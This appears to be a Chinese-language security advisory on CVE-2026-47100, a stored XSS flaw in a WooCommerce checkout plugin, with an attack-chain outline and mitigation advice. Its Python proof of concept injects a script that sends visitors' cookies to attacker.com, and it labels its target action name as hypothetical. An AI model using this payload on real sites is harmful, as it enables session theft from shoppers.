IPBUF安全漏洞报告
English
CVE-2026-47100 CVSS 7.5 高危

CVE-2026-47100 Funnel Builder权限缺失致存储型XSS漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-47100
漏洞类型
存储型跨站脚本
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Funnel Builder for WooCommerce Checkout

相关标签

XSS存储型跨站脚本WordPressWooCommerce权限缺失CVE-2026-47100

漏洞概述

Funnel Builder for WooCommerce Checkout插件在3.15.0.3之前的版本中存在缺少授权漏洞。由于公共结账端点未进行有效的身份验证,未经身份验证的攻击者可调用内部方法,将任意数据写入插件的“外部脚本”全局设置。攻击者可借此注入恶意JavaScript代码,导致所有访问结账页面的用户浏览器执行该脚本,进而窃取敏感信息或执行恶意操作。

技术细节

该漏洞源于插件中的AJAX控制器(class-wfacp-ajax-controller.php)在处理特定请求时未实施严格的权限检查。攻击者可向WordPress的AJAX处理端点发送特制的POST请求,利用未授权的内部方法修改插件的全局配置。具体来说,攻击者可以将包含恶意负载的JavaScript代码注入到“External Scripts”字段中。由于该设置直接输出在前端结账页面,一旦注入成功,任何访问该页面的用户都会加载并执行这段恶意脚本。这种存储型XSS攻击不仅绕过了认证机制,还利用了插件的高权限上下文,对网站用户构成了广泛的安全威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标站点是否安装了Funnel Builder for WooCommerce Checkout插件,并确认其版本低于3.15.0.3。
STEP 2
漏洞利用
攻击者向目标站点的公共结账端点发送未经身份验证的恶意POST请求,利用缺失的授权检查将恶意JavaScript注入到插件的外部脚本设置中。
STEP 3
持久化
恶意脚本被保存在插件的全局设置数据库中,无需进一步的交互即可持续存在于受影响的页面中。
STEP 4
执行与窃取
当普通用户访问受影响的WooCommerce结账页面时,注入的恶意脚本在其浏览器中自动执行,窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious JavaScript payload to capture cookies payload = '<script>fetch("https://attacker.com/log?c="+document.cookie);</script>' # Data payload based on the vulnerable action (Action name might vary, e.g., wfacp_ajax_handle) data = { "action": "wfacp_update_external_scripts", # Hypothetical action parameter "security": "0", # Sometimes required, but bypassed due to missing auth "scripts": payload } try: response = requests.post(ajax_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check if XSS is triggered on checkout page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target exploit(target)

影响范围

Funnel Builder for WooCommerce Checkout < 3.15.0.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以防止攻击。或者通过服务器配置(如.htaccess或Nginx规则)阻断对特定AJAX处理函数的未授权外部访问请求,直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表